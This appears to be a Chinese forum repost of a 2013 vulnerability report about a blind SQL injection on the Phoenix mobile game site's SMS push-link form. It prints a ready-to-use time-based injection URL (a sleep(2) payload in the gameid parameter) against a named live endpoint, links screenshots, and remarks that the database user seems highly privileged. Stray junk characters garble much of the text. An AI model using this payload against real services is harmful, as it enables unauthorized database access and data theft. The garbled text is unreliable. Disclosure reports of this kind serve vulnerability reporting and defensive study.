简要描述：
2 W" S2 H3 X, A# }5 A. A# h: f凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。/ \. H2 x4 C9 \$ _
0 O2 q7 w G; r5 C- [
详细说明：/ g9 v& M6 g5 F4 \% y
存在SQL盲注url:$ y: ?/ R8 F! p0 G. Q
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1% e0 N4 G7 g7 e
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png% D; M. }' I8 Y& U
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
& q" ^! ]# N! A6 p6 B4 L8 Nhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
5 Z5 s+ ~+ p; G' |3 e3 w3 f
, M5 K% i( z6 |4 r/ ]; H能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对